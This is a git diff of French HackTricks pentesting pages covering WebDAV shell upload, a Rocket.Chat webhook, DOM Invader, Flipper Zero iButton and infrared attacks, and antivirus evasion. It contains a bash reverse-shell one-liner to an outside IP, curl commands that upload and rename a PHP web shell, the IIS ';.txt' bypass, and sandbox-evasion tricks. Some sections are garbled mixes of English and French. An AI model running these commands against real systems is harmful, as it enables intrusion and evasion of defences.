 davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension
 ```
-Sortie d'exemple :
+## Cadaver
 
-![](<../../.gitbook/assets/image (19) (1).png>)
+Vous pouvez utiliser cet outil pour **se connecter au serveur WebDav** et effectuer des actions (comme **télécharger**, **déplacer** ou **supprimer**) **manuellement**.
 
 Cela ne signifie pas que les extensions **.txt** et **.html sont exécutées**. Cela signifie que vous pouvez **accéder à ces fichiers** via le web.
 
-## Cadaver
-
-Vous pouvez utiliser cet outil pour **vous connecter au serveur WebDav** et effectuer des actions (comme **télécharger**, **déplacer** ou **supprimer**) **manuellement**.
+![](<../../.gitbook/assets/image (19) (1) (1).png>)
 ```
 cadaver <IP>
 ```
@@ -57,49 +55,39 @@ cadaver <IP>
 
 ### Description
 
-The HTTP PUT method is used to update a resource on a server. In the context of web applications, this method is often used to update an existing file on a web server.
+The HTTP PUT method is used to update a resource on a server. In the context of web applications, it is commonly used to update files on a web server. 
 
-La méthode HTTP PUT est utilisée pour mettre à jour une ressource sur un serveur. Dans le contexte des applications web, cette méthode est souvent utilisée pour mettre à jour un fichier existant sur un serveur web.
+La méthode PUT HTTP est utilisée pour mettre à jour une ressource sur un serveur. Dans le contexte des applications web, elle est couramment utilisée pour mettre à jour des fichiers sur un serveur web.
 
 ---
 
-### PUT request with WebDAV
+### Vulnerability
 
-### Requête PUT avec WebDAV
+### Vulnérabilité
 
-WebDAV (Web Distributed Authoring and Versioning) is an extension of the HTTP protocol that allows clients to perform remote Web content authoring operations. One of the operations that can be performed with WebDAV is file upload via PUT request.
+The PUT method can be vulnerable to attacks such as directory traversal and file overwriting. If the server does not properly validate the input, an attacker can use a PUT request to write arbitrary files to the server or overwrite existing files. 
 
-WebDAV (Web Distributed Authoring and Versioning) est une extension du protocole HTTP qui permet aux clients d'effectuer des opérations d'auteur de contenu Web à distance. L'une des opérations qui peuvent être effectuées avec WebDAV est le téléchargement de fichiers via une requête PUT.
+La méthode PUT peut être vulnérable à des attaques telles que la traversée de répertoire et l'écrasement de fichiers. Si le serveur ne valide pas correctement l'entrée, un attaquant peut utiliser une requête PUT pour écrire des fichiers arbitraires sur le serveur ou écraser des fichiers existants.
 
 ---
 
-### PUT request with WebDAV and Workspace
+### Exploitation
 
-### Requête PUT avec WebDAV et Workspace
+### Exploitation
 
-In Workspace, the PUT method can be used to upload files to the platform. This can be done through the WebDAV interface, which allows users to access their Workspace files as if they were on a local drive.
+To exploit this vulnerability, an attacker can use a tool such as cURL to send a PUT request to the server with a specially crafted payload. The payload can include directory traversal sequences or file content to be written to the server. 
 
-Dans Workspace, la méthode PUT peut être utilisée pour télécharger des fichiers sur la plateforme. Cela peut être fait via l'interface WebDAV, qui permet aux utilisateurs d'accéder à leurs fichiers Workspace comme s'ils étaient sur un lecteur local.
+Pour exploiter cette vulnérabilité, un attaquant peut utiliser un outil tel que cURL pour envoyer une requête PUT au serveur avec une charge utile spécialement conçue. La charge utile peut inclure des séquences de traversée de répertoire ou du contenu de fichier à écrire sur le serveur.
 
 ---
 
-### PUT request with WebDAV and AWS S3
+### Mitigation
 
-### Requête PUT avec WebDAV et AWS S3
+### Atténuation
 
-In AWS S3, the PUT method can be used to upload files to a bucket. This can be done through the AWS S3 API or through the WebDAV interface.
+To mitigate this vulnerability, the server should properly validate the input and restrict access to sensitive directories. Additionally, the use of a Web Application Firewall (WAF) can help to detect and block malicious PUT requests. 
 
-Dans AWS S3, la méthode PUT peut être utilisée pour télécharger des fichiers dans un compartiment. Cela peut être fait via l'API AWS S3 ou via l'interface WebDAV.
-
----
-
-### PUT request with WebDAV and GCP Cloud Storage
-
-### Requête PUT avec WebDAV et GCP Cloud Storage
-
-In GCP Cloud Storage, the PUT method can be used to upload files to a bucket. This can be done through the GCP Cloud Storage API or through the WebDAV interface.
-
-Dans GCP Cloud Storage, la méthode PUT peut être utilisée pour télécharger des fichiers dans un compartiment. Cela peut être fait via l'API GCP Cloud Storage ou via l'interface WebDAV.
+Pour atténuer cette vulnérabilité, le serveur doit valider correctement l'entrée et restreindre l'accès aux répertoires sensibles. De plus, l'utilisation d'un pare-feu d'application Web (WAF) peut aider à détecter et bloquer les requêtes PUT malveillantes.
 ```
 curl -T 'shell.txt' 'http://$ip'
 ```
@@ -109,20 +97,20 @@ curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
 ```
 ![](<../../.gitbook/assets/image (9) (1) (2).png>)
 
-Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour créer et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.\
+Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.\
 Obtenez l'accès aujourd'hui :
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
 
-## Vulnérabilité WebDav IIS5/6
+## Vulnérabilité IIS5/6 WebDav
 
 Cette vulnérabilité est très intéressante. Le **WebDav** ne permet pas de télécharger ou de renommer des fichiers avec l'extension **.asp**. Mais vous pouvez contourner cela en ajoutant à la fin du nom **";.txt"** et le fichier sera exécuté comme s'il s'agissait d'un fichier .asp (vous pouvez également utiliser ".html" au lieu de ".txt" mais n'oubliez pas le ";" ).
 
-Ensuite, vous pouvez télécharger votre shell en tant que fichier ".**txt"** et le copier/déplacer vers un fichier ".asp;.txt". En accédant à ce fichier via le serveur web, il sera exécuté (cadaver indiquera que l'action de déplacement n'a pas fonctionné, mais c'est le cas).
+Ensuite, vous pouvez télécharger votre shell en tant que fichier ".**txt"** et le copier/déplacer dans un fichier ".asp;.txt". En accédant à ce fichier via le serveur web, il sera exécuté (cadaver indiquera que l'action de déplacement n'a pas fonctionné, mais c'est le cas).
 
 ![](<../../.gitbook/assets/image (18) (1) (1).png>)
 
-## Publier des informations d'identification
+## Poster des informations d'identification
 
 Si Webdav utilisait un serveur Apache, vous devriez regarder les sites configurés dans Apache. Couramment :\
 _**/etc/apache2/sites-enabled/000-default**_
@@ -144,7 +132,7 @@ Comme vous pouvez le voir, il y a des fichiers avec les **identifiants** valides
 ```
 À l'intérieur de ce type de fichiers, vous trouverez le **nom d'utilisateur** et un **hash** du mot de passe. Ce sont les informations d'identification que le serveur WebDAV utilise pour authentifier les utilisateurs.
 
-Vous pouvez essayer de les **craquer**, ou en **ajouter d'autres** si pour une raison quelconque vous souhaitez **accéder** au serveur **WebDAV** :
+Vous pouvez essayer de les **craquer**, ou d'en **ajouter davantage** si pour une raison quelconque vous souhaitez **accéder** au serveur **WebDAV** :
 ```bash
 htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password
 ```
@@ -159,7 +147,7 @@ wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q
 * Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
 * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

network-services-pentesting/pentesting-web/rocket-chat.md

@@ -19,11 +19,11 @@ exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
 
 * Configurez le script WebHook :
 
-<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 * Enregistrez les modifications
 * Obtenez l'URL WebHook générée :
 
-<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 * Appelez-le avec curl et vous devriez recevoir le shell inversé

pentesting-web/xss-cross-site-scripting/dom-invader.md

@@ -31,7 +31,7 @@ Dans le navigateur intégré de Burp, allez à l'**extension Burp** et activez-l
 
 Maintenant, actualisez la page et dans les **outils de développement**, vous trouverez l'onglet **DOM Invader :**
 
-<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
 ### Injecter un canari
 
@@ -55,7 +55,7 @@ DOM Invader permet de tester les XSS DOM à l'aide de messages Web avec des fonc
 
 Vous pouvez cliquer sur chaque message pour afficher des informations plus détaillées à son sujet, notamment si les propriétés `origin`, `data` ou `source` du message sont accessibles par le JavaScript côté client.
 
-* **`origin`** : Si les informations d'origine du message ne sont pas vérifiées, vous pouvez être en mesure d'envoyer des messages entre domaines à l'event handler **à partir d'un domaine externe arbitraire**. Mais même si c'est vérifié, cela peut encore être insécurisé.
+* **`origin`** : Si les informations d'origine du message ne sont pas vérifiées, vous pouvez être en mesure d'envoyer des messages entre domaines à l'event handler **à partir d'un domaine externe arbitraire**. Mais même si cela est vérifié, cela peut encore être insécurisé.
 * **`data`**: C'est là que la charge utile est envoyée. Si ces données ne sont pas utilisées, le sink est inutile.
 * **`source`**: Évalue si la propriété source, faisant généralement référence à un iframe, est validée au lieu de l'origine. Même si cela est vérifié, cela ne garantit pas que la validation ne peut pas être contournée.
 

todo/radio-hacking/flipper-zero/fz-ibutton.md

@@ -4,10 +4,10 @@
 
 <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
-* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
+* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
 * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
@@ -24,7 +24,7 @@ Pour plus d'informations sur ce qu'est un iButton, consultez :
 
 La partie **bleue** de l'image suivante est la façon dont vous devez **placer le vrai iButton** pour que le Flipper puisse le **lire**. La partie **verte** est la façon dont vous devez **toucher le lecteur** avec le Flipper zero pour **émuler correctement un iButton**.
 
-<figure><img src="../../../.gitbook/assets/image (20).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (20) (1).png" alt=""><figcaption></figcaption></figure>
 
 ## Actions
 
@@ -54,10 +54,10 @@ Si vous ne pouvez pas faire toucher les contacts attendus du Flipper Zero au lec
 
 <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
-* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
+* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
 * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

todo/radio-hacking/ibutton.md

@@ -7,7 +7,7 @@
 * Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
 * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
@@ -16,7 +16,7 @@
 
 iButton est un nom générique pour une clé d'identification électronique emballée dans un **conteneur métallique en forme de pièce de monnaie**. On l'appelle également mémoire tactile Dallas ou mémoire de contact. Bien qu'on l'appelle souvent à tort une clé "magnétique", il n'y a **rien de magnétique** en elle. En fait, une **micro-puce** complète fonctionnant sur un protocole numérique est cachée à l'intérieur.
 
-<figure><img src="../../.gitbook/assets/image (19).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (19) (1).png" alt=""><figcaption></figcaption></figure>
 
 ### Qu'est-ce que l'iButton ? <a href="#what-is-ibutton" id="what-is-ibutton"></a>
 
@@ -59,7 +59,7 @@ Les iButtons peuvent être attaqués avec Flipper Zero :
 * Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
 * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

todo/radio-hacking/infrared.md

@@ -5,9 +5,9 @@
 <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
-* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
+* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live).
+* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
@@ -16,14 +16,14 @@
 
 **La lumière infrarouge est invisible pour les humains**. La longueur d'onde de l'infrarouge est de **0,7 à 1000 microns**. Les télécommandes domestiques utilisent un signal infrarouge pour la transmission de données et fonctionnent dans la plage de longueurs d'onde de 0,75 à 1,4 microns. Un microcontrôleur dans la télécommande fait clignoter une LED infrarouge avec une fréquence spécifique, transformant le signal numérique en un signal infrarouge.
 
-Pour recevoir les signaux infrarouges, un **photorécepteur** est utilisé. Il **convertit la lumière infrarouge en impulsions de tension**, qui sont déjà des **signaux numériques**. Habituellement, il y a un **filtre de lumière sombre à l'intérieur du récepteur**, qui laisse passer **seulement la longueur d'onde désirée** et élimine le bruit.
+Pour recevoir des signaux infrarouges, un **photorécepteur** est utilisé. Il **convertit la lumière infrarouge en impulsions de tension**, qui sont déjà des **signaux numériques**. Habituellement, il y a un **filtre de lumière sombre à l'intérieur du récepteur**, qui laisse passer **seulement la longueur d'onde désirée** et élimine le bruit.
 
 ### Variété de protocoles infrarouges <a href="#variety-of-ir-protocols" id="variety-of-ir-protocols"></a>
 
 Les protocoles infrarouges diffèrent selon 3 facteurs :
 
 * encodage de bits
-* structure des données
+* structure de données
 * fréquence porteuse - souvent dans la plage de 36 à 38 kHz
 
 #### Modes d'encodage de bits <a href="#bit-encoding-ways" id="bit-encoding-ways"></a>
@@ -32,7 +32,7 @@ Les protocoles infrarouges diffèrent selon 3 facteurs :
 
 Les bits sont encodés en modulant la durée de l'espace entre les impulsions. La largeur de l'impulsion elle-même est constante.
 
-<figure><img src="../../.gitbook/assets/image (16).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (16) (3).png" alt=""><figcaption></figcaption></figure>
 
 **2. Encodage de la largeur d'impulsion**
 
@@ -49,7 +49,7 @@ Il est également connu sous le nom d'encodage Manchester. La valeur logique est
 **4. Combinaison des précédents et autres exotiques**
 
 {% hint style="info" %}
-Il existe des protocoles infrarouges qui **tentent de devenir universels** pour plusieurs types de dispositifs. Les plus célèbres sont RC5 et NEC. Malheureusement, les plus célèbres **ne signifient pas les plus courants**. Dans mon environnement, je n'ai rencontré que deux télécommandes NEC et aucune télécommande RC5.
+Il existe des protocoles infrarouges qui **tentent de devenir universels** pour plusieurs types de dispositifs. Les plus célèbres sont RC5 et NEC. Malheureusement, les plus célèbres **ne signifient pas les plus courants**. Dans mon environnement, j'ai rencontré seulement deux télécommandes NEC et aucune télécommande RC5.
 
 Les fabricants aiment utiliser leurs propres protocoles infrarouges uniques, même au sein de la même gamme de dispositifs (par exemple, les décodeurs TV). Par conséquent, les télécommandes de différentes entreprises et parfois de différents modèles de la même entreprise, ne peuvent pas fonctionner avec d'autres dispositifs du même type.
 {% endhint %}
@@ -70,4 +70,4 @@ La **commande NEC**, en plus du préambule, se compose d'un octet d'adresse et d
 
 Le **code de répétition** a un "1" après le préambule, qui est un bit d'arrêt.
 
-Pour la logique "0" et "1", NEC utilise l'encodage de distance d'impulsion : d'abord,
+Pour les **logiques "0" et "1"**, NEC utilise l'encodage de distance d'impulsion : d'abord,

windows-hardening/av-bypass.md

@@ -20,11 +20,11 @@ Actuellement, les AV utilisent différentes méthodes pour vérifier si un fichi
 
 ### **Détection statique**
 
-La détection statique est réalisée en signalant des chaînes ou des tableaux de bytes malveillants connus dans un binaire ou un script, et en extrayant également des informations du fichier lui-même (par exemple, la description du fichier, le nom de l'entreprise, les signatures numériques, l'icône, la somme de contrôle, etc.). Cela signifie que l'utilisation d'outils publics connus peut vous faire repérer plus facilement, car ils ont probablement été analysés et signalés comme malveillants. Il existe plusieurs façons de contourner ce type de détection :
+La détection statique est réalisée en signalant les chaînes ou les tableaux de bytes malveillants connus dans un binaire ou un script, et en extrayant également des informations du fichier lui-même (par exemple, la description du fichier, le nom de l'entreprise, les signatures numériques, l'icône, la somme de contrôle, etc.). Cela signifie que l'utilisation d'outils publics connus peut vous faire repérer plus facilement, car ils ont probablement été analysés et signalés comme malveillants. Il existe plusieurs façons de contourner ce type de détection :
 
 * **Chiffrement**
 
-Si vous chiffrez le binaire, il n'y aura aucun moyen pour l'AV de détecter votre programme, mais vous aurez besoin d'un type de chargeur pour décrypter et exécuter le programme en mémoire.
+Si vous chiffrez le binaire, il n'y aura aucun moyen pour l'AV de détecter votre programme, mais vous aurez besoin d'un chargeur pour décrypter et exécuter le programme en mémoire.
 
 * **Obscurcissement**
 
@@ -38,17 +38,17 @@ Si vous développez vos propres outils, il n'y aura pas de signatures malveillan
 Une bonne façon de vérifier la détection statique de Windows Defender est [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Il divise essentiellement le fichier en plusieurs segments, puis demande à Defender de scanner chacun d'eux individuellement, de cette façon, il peut vous dire exactement quelles sont les chaînes ou les bytes signalés dans votre binaire.
 {% endhint %}
 
-Je recommande vivement de consulter cette [playlist YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) sur l'évasion pratique d'AV.
+Je vous recommande vivement de consulter cette [playlist YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) sur l'évasion pratique d'AV.
 
 ### **Analyse dynamique**
 
 L'analyse dynamique consiste à exécuter votre binaire dans un bac à sable et à surveiller les activités malveillantes (par exemple, essayer de décrypter et de lire les mots de passe de votre navigateur, effectuer un minidump sur LSASS, etc.). Cette partie peut être un peu plus difficile à travailler, mais voici quelques choses que vous pouvez faire pour éviter les bac à sable.
 
-* **Dormir avant l'exécution** Selon la façon dont il est implémenté, cela peut être un excellent moyen de contourner l'analyse dynamique de l'AV. Les AV ont très peu de temps pour analyser les fichiers afin de ne pas interrompre le flux de travail de l'utilisateur, donc l'utilisation de longues pauses peut perturber l'analyse des binaires. Le problème est que de nombreux bac à sable AV peuvent simplement sauter la pause en fonction de la façon dont elle est implémentée.
+* **Dormir avant l'exécution** Selon la façon dont il est implémenté, cela peut être un excellent moyen de contourner l'analyse dynamique de l'AV. Les AV ont très peu de temps pour scanner les fichiers afin de ne pas interrompre le flux de travail de l'utilisateur, donc l'utilisation de longs délais peut perturber l'analyse des binaires. Le problème est que de nombreux bac à sable AV peuvent simplement sauter le délai en fonction de la façon dont il est implémenté.
 * **Vérification des ressources de la machine** Les bac à sable ont généralement très peu de ressources à utiliser (par exemple, < 2 Go de RAM), sinon ils pourraient ralentir la machine de l'utilisateur. Vous pouvez également être très créatif ici, par exemple en vérifiant la température du CPU ou même les vitesses du ventilateur, tout ne sera pas implémenté dans le bac à sable.
-* **Vérifications spécifiques à la machine** Si vous voulez cibler un utilisateur dont la station de travail est jointe au domaine "contoso.local", vous pouvez vérifier le domaine de l'ordinateur pour voir s'il correspond à celui que vous avez spécifié, s'il ne le fait pas, vous pouvez faire sortir votre programme.
+* **Vérifications spécifiques à la machine** Si vous voulez cibler un utilisateur dont la station de travail est jointe au domaine "contoso.local", vous pouvez vérifier le domaine de l'ordinateur pour voir s'il correspond à celui que vous avez spécifié, s'il ne correspond pas, vous pouvez faire sortir votre programme.
 
-Il s'avère que le nom d'ordinateur Sandbox de Microsoft Defender est HAL9TH, donc vous pouvez vérifier le nom de l'ordinateur dans votre malware avant la détonation, si le nom correspond à HAL9TH, cela signifie que vous êtes à l'intérieur du bac à sable de Defender, vous pouvez donc faire sortir votre programme.
+Il s'avère que le nom d'ordinateur Sandbox de Microsoft Defender est HAL9TH, donc vous pouvez vérifier le nom d'ordinateur dans votre malware avant la détonation, si le nom correspond à HAL9TH, cela signifie que vous êtes à l'intérieur du bac à sable de Defender, vous pouvez donc faire sortir votre programme.
 
 <figure><img src="../.gitbook/assets/image (3) (6).png" alt=""><figcaption><p>source: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
 
@@ -60,10 +60,10 @@ Comme nous l'avons dit précédemment dans ce post, les **outils publics** seron
 
